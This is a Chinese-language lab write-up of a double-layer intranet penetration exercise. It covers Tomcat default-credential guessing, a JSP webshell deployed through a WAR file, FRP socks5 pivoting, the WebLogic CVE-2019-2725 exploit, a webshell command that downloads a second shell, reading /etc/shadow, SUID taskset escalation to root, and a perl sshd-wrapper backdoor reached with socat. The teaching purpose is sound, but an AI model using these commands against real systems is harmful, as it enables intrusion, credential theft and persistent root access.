记一次双层内网渗透实验


目标环境

web渗透

web信息收集

nmap扫描端口
在目标8080端口发现tomcat服务,版本为8.0.43

使用kali中的dirb命令爆破一下目录

发现身份验证页面

http://10.1.1.121:8080/manager/html
http://10.1.1.121:8080/host-manager/html

暴力破解

查找tomcat默认密码tomcat
尝试枚举

cat /usr/share/wordlists/metasploit/tomcat_mgr_default_users.txt
cat /usr/share/wordlists/metasploit/tomcat_mgr_default_pass.txt

成功进入tomcat后台

getshell

发现存在tomcat项目部署功能
此功能允许用户通过上传war包,来部署自己的应用项目

利用蚁剑的jsp木马,制作生成包含jsp木马的ant.war包:

cd /root/Desktop
mkdir ant
cp ant.jsp ant
cd ant
jar -cvf ant.war .


上传jsp马,并访问

蚁剑链接

内网渗透

服务器敏感信息收集

查看主机IP及运行服务信息

ip addr
ps -elf


查看主机所有用户信息

cat /etc/passwd
cat /etc/shadow

查找系统中所有的敏感信息文件
用于寻找存放在系统内的敏感文件,如包含用户密码、服务访问密码等敏感信息的文件

获取内网存活主机

使用ladon64工具扫描探测172.22.0.0/24网段,判断内网存活主机IP
将ladon64上传至目标服务器tmp目录下


命令行启动ladon64

cd /tmp
chmod +x ladon64
./ladon64 172.22.0.0/24 icmpscan

得到内网网段存活主机IP:172.22.0.20

内网穿透:通过FRP建立Socks5代理

上传FRP工具及配置
通过蚁剑的文件管理功能,上传相关工具文件到tomcat服务器的/tmp目录

给FRP程序文件可执行权限

cd /tmp
chmod +x frp*

修改frpc.ini配置文件

[common]		# 理解为注释,对应配置的说明注释
server_addr = 10.1.1.119	# frps服务端IP
server_port = 7000			# frps服务端端口

[socks5]		# 理解为注释,对应配置的说明注释
type = tcp				# 代理数据协议类型
plugin = socks5			# 启用frp的socks5代理插件
remote_port = 5000		# socks5代理端口
[common]
server_addr = 10.1.1.119
server_port = 7000

[socks5]
type = tcp
plugin = socks5
remote_port = 5000

运行frps

在攻击机上运行frps服务

cd /root/Desktop/frp	# 切换到frp工具目录
./frps -c frps.ini		# 通过-c选项指定frps配置文件

服务默认监听在本地的7000端口,如果想要更改监听端口,可以通过更改frps.ini配置文件来实现。

[common]
bind_port = 7000 # frps服务绑定监听的端口

运行frpc
在获得shell的Tomcat服务器上执行frpc客户端

cd /tmp
./frpc -c frpc.ini		# 通过-c选项指定frpc配置文件

攻击机监听代理端口
在Tomcat服务器上执行的frpc客户端与攻击机上启动的frps服务端,建立连接之后,会创建一个socks5代理通道,在frps服务端所在攻击机,监听一个代理端口。使用哪个端口作为socks5代理端口由frpc.ini配置文件中的参数remote_port指定,这里指定的是5000端口。

访问内网存活主机
命令行proxychains代理工具
使用代理工具proxychains通过建立的socks5代理通道访问内网存活主机IP。
编辑修改proxychains配置文件
leafpad /etc/proxychains.conf

查看目标主机IP

ip addr

尝试请求,报错

编辑proxychains配置文件

leafpad /etc/proxychains.conf
或
vim /etc/proxychains.conf


在文末注释掉默认有的socks4配置项,添加如下配置

socks5 127.0.0.1 5000

proxychains curl 172.22.0.10:8080

ok

浏览器FoxyProxy代理插件
打开firefox浏览器,直接访问内网IP172.22.0.10:8080是无法访问到的,通过浏览器插件FoxyProxy配置浏览器的请求走使用FRP所建立的socks5代理通道,通过此代理通道,代理请求内网IP的8080端口的http请求,从而实现通过浏览器访问内网WEB服务的目的。

内网扫描发现内网服务

通过建立的socks代理通道,可以在外网的攻击机,访问到原本无法访问的目标内网主机,那么下一步就可以对内网进行攻击测试。
nmap内网存活主机端口扫描
通过socks代理工具,代理nmap流量到内网,对内网主机开放的端口进行扫描
注意,socks5是无法代理icmp协议请求的,因此,需要把icmp的请求禁止走建立的socks代理,来防止正常请求发送出错或无法发送。在nmap中,可以使用-Pn选项

proxychains nmap -Pn -sT -T4 172.22.0.20

-Pn:禁ping
-sT:tcp连接探测端口
-T4:加快请求连接速度

发现开放weblogic服务的默认端口7001

ladon64工具扫描内网weblogic

./ladon64 172.22.0.20 t3scan


探测发现Weblogic版本为Weblogic:10.3.6.0

打开firefox浏览器,配置浏览器走frp代理

发现并访问内网主机开放的Weblogic服务端口,通过配置浏览器代理,可访问到攻击机原本访问不到的内网Weblogic服务

远程命令执行漏洞利用
访问
http://172.22.0.20:7001/console/
将跳转到登陆界面
http://172.22.0.20:7001/console/login/LoginForm.jsp

Weblogic远程命令执行漏洞利用

漏洞发现

使用Weblogic漏洞检测脚本进行漏洞发现

cd /root/Desktop/weblogicscan
cp fake_useragent_0.1.11.json /tmp/
proxychains python3 WeblogicScan.py -u 172.22.0.20 -p 7001


发现目标存在CVE-2019-2725漏洞

远程命令执行

cd /root/Desktop
proxychains python3 weblogic-CVE-2019-2725.py 10.3.6 http://172.22.0.20:7001/ whoami

上传webshell小马

proxychains python3 weblogic-CVE-2019-2725.py 10.3.6 http://172.22.0.20:7001/

webshell地址:http://172.22.0.20:7001/bea_wls_internal/demo.jsp?pwd=admin&cmd=ifconfig

利用内网Tomcat服务下发蚁剑Webshell

由于上一步中通过利用Weblogic的远程命令执行漏洞上传的Webshell只能进行命令的执行,而无法通过中国蚁剑等Webshell管理工具做更多的操作,因此,需要上传一个蚁剑Webshell

使用蚁剑文件管理功能,进入Tomcat服务器/usr/local/tomcat/webapps/ant/目录,新建ant.txt文件,复制ant.jsp文件内容到ant.txt文件中

因为Tomcat和Weblogic服务器在同一个网段,可以互相访问,在Weblogic服务器上可以通过如下URL访问ant.txt文件

http://172.22.0.10:8080/ant/ant.txt

通过命令执行下载蚁剑Webshell

通过命令执行下载放在Tomcat服务器上的ant.txt文件到Weblogic网站目录:

http://172.22.0.20:7001/bea_wls_internal/demo.jsp?pwd=admin&cmd=wget http://172.22.0.10:8080/ant/ant.txt -O servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/ant.jsp

蚁剑Webshell地址:http://172.22.0.20:7001/bea_wls_internal/ant.jsp

蚁剑连接Webshell
打开一个新的蚁剑窗口并配置socks5代理,找到 AntSword > 代理设置 > 手动设置代理 > 选择socks5代理协议 > 填写代理服务器IP > 填写代理服务端口 > 保存。注意,保存时会提示重启中国蚁剑。

蚁剑重启之后,添加上传到Weblogic服务器的Webshell连接

突破二层内网

攫取二层内网的敏感信息

内网WebLogic服务器信息收集

通过蚁剑工具连接Webshell后执行命令、查看文件,获取WebLogic服务器信息,如:所在IP段、开放的服务、敏感信息等

whoami					# 查看当前用户权限
ip addr					# 查看当前主机IP 172.26.0.20
ps -elf					# 查看当前主机运行的服务
find / -name *pass*		# 查找主机系统中包含pass字符的所有文件名


在/root目录下发现一个pass.txt文件

cat /root/pass.txt

base64解密得到一组账号密码

获取二层内网存活主机

上传ladon64检测工具

,获取内网存活主机IP

cd /tmp
chmod +x ladon64
./ladon64 172.26.0.0/24 icmpscan


发现内网存活主机IP:172.26.0.30

穿透二层内网并发现关键服务

之前,使用FRP建立一个socks5代理通道,来把访问内网Weblogic服务的请求代理到172.22网段,此时Tomcat服务器是从外网访问内部网络的一个跳板,也就是跳板机;

但是现在由于之前所发现的内网主机172.26.0.30与Tomcat服务器172.22.0.10处于不同的网络,也就是说,在没有手动设置路由的情况下,它们之间是无法互相访问的;

因此继续使用之前中搭建的socks5代理通道是无法访问到172.26.0.30主机的;

那么,怎么解决这个问题呢?

因为之前所拿下的Weblogic服务器不仅可以访问到Tomcat服务器,也可以访问到172.26.0.30主机,所以可以利用它来实现访问在二层的内网网段172.26

下面通过frp代理工具,建立二层socks5代理,从而实现访问二层内网

上传frp、frpc.ini文件到Weblogic服务器

上传frpc、frpc.ini到Weblogic服务器

修改frpc.ini为如下:

[common]
server_addr = 172.22.0.10
server_port = 7000

[socks5_2]
type = tcp
plugin = socks5
remote_port = 6666


此配置文件的作用为:以Tomcat服务器为跳板机,转发从攻击机的6000端口传输过来的流量请求到本地的6666端口,而本地的6666端口为Tomcat与Weblogic服务器之间建立的socks代理通道的入口,也就相当于,把外网的请求流量,通过Tomcat跳板机,转发到Weblogic服务器所在的二层内网。

Tomcat服务器运行frpc
在运行frpc之前,需要先把之前建立一层socks5代理时启动的frpc进程停止,然后再用如下命令指定新的frpc配置文件启动新的frpc进程

cd /tmp
ps -elf|grep frpc
kill 60				# 这里的60为上一个命令所查询到的frpc进程id,根据实际情况替换
./frpc -c frpc2.ini

Tomcat服务器运行frps

为了建立二层socks5代理,需要在Tomcat服务器上启动一个frps服务端,然后在Weblogic服务器上启动连接此frps的frpc客户端,从而使Tomcat与Weblogic服务器之间建立一个socks5代理通道,用于流量数据传输。

cd /tmp
./frps -c frps.ini


可以看到攻击机监听了两个socks5代理端口,5000端口为代理访问一层内网网段172.22.0.0/16,6000端口为代理访问二层内网网段172.26.0.0/16。
从处于外网的攻击机上发送到二层内网网段172.26.0.0/16的请求数据,其数据流向为:

从处于外网的攻击机上发送到二层内网网段172.26.0.0/16的请求数据,其数据流向为:
attack攻击机 --> socks5:127.0.0.1:6000 --> tomcat服务器 --> socks5:127.0.0.1:6666 --> Weblogic服务器 --> Dev服务器


攻击机配置proxychains代理

攻击机配置proxychains代理访问二层内网主机

编辑proxychains配置文件

leafpad /etc/proxychains.conf

注释掉末尾之前的socks5代理配置,添加如下配置内容:

socks5 127.0.0.1 6000

内网存活主机端口扫描

通过socks代理工具,代理nmap流量到内网,对二层内网主机开放的端口进行端口扫描

proxychains nmap -Pn -sT -T4 172.26.0.30


发现开放远程连接SSH端口22

获得二层内网主机的普通用户访问权限

SSH登录获得二层内网主机访问权限

尝试通过在步骤八发现的普通用户simadmin的账号密码进行登录,成功登录,得到内网dev服务器访问权限

清空known_hosts文件内容:

echo > /root/.ssh/known_hosts

通过proxychains工具代理SSH连接二层内网dev服务器:

proxychains ssh simadmin@172.26.0.30

二层内网主机信息收集

通过对目标主机进行信息收集,发现存在拥有SUID特殊权限的程序taskset

代理连接内网dev服务器的SSH服务:

proxychains ssh simadmin@172.26.0.30

连接后默认是sh shell外壳,切换为bash shell外壳,会更方便操作:

bash

查找系统中所有具有SUID权限的文件:

find / -perm -u=s -type f

权限提升

权限提升(Root权限)

Linux系统的最高权限为root,普通用户对系统的某些操作会被受到限制,但是root用户可以完全操作Linux系统,因此,想要对系统做更多的操作,就需要得到系统的root权限。

利用具有SUID权限的taskset从simadmin普通用户权限提权到root权限;

更多的SUID权限利用可查看:https://gtfobins.github.io/

ls -la /usr/bin/taskset
whoami					# simadmin
taskset 1 /bin/bash -p
whoami					# root

权限维持

权限持久化(后门)

为了能够持续的对目标进行控制,可以通过在目标机器上留下一个后门,方便下次继续控制目标,并得到root权限。

利用SSH Server Wrapper技术,在dev服务器留下SSH登录后门,

cd /usr/sbin/
mv sshd ../bin
echo '#!/usr/bin/perl' >sshd
echo 'exec "/bin/sh" if (getpeername(STDIN) =~ /^..LF/);' >>sshd
echo 'exec {"/usr/bin/sshd"} "/usr/sbin/sshd",@ARGV,' >>sshd
chmod u+x sshd


可无需密码获得目标主机root用户权限:

echo "ls" | socat STDIO TCP4:172.26.0.30:22,sourceport=19526
echo "whoami" | socat STDIO TCP4:172.26.0.30:22,sourceport=19526
echo "ip addr" | socat STDIO TCP4:172.26.0.30:22,sourceport=19526

这里因为中国蚁剑的模拟终端会自动的把进程放到后台,因此,无法直接在终端中与留下的后门进行命令交互,这里采用管道|的方法,把要执行的命令重定向到与后门的连接中,并返回执行后的结果:

注意:因为每执行一次命令需要连接的后门,然后执行命令,返回结果,因此在执行下个命令时,需要稍微等待几秒时间,等待上次连接关闭,然后才能继续执行命令,否则会出现如下图所示错误:Address already in use。

当然,如果是在前台执行的话,是可以得到一个交互式shell的,如下图:

但,本环境无法直接如下图一样得到交互式shell

如果使用其他可得到交互式模拟终端的Webshell管理工具,是完全可以实现以上操作的。

遇到的问题

实验过程中遇到一个困扰我的地方就是linux攻击机时不时就会锁定Windows键,
然后导致无法正常操作,然后我查询资料发现
Ctrl + S 是Linux 锁屏的快捷键 要解除锁定只需要按 Ctrl + Q/ALT + Q

然后。。然后就没了。。。
某合实验室的教学真的堪称保姆级教学,细致到极限了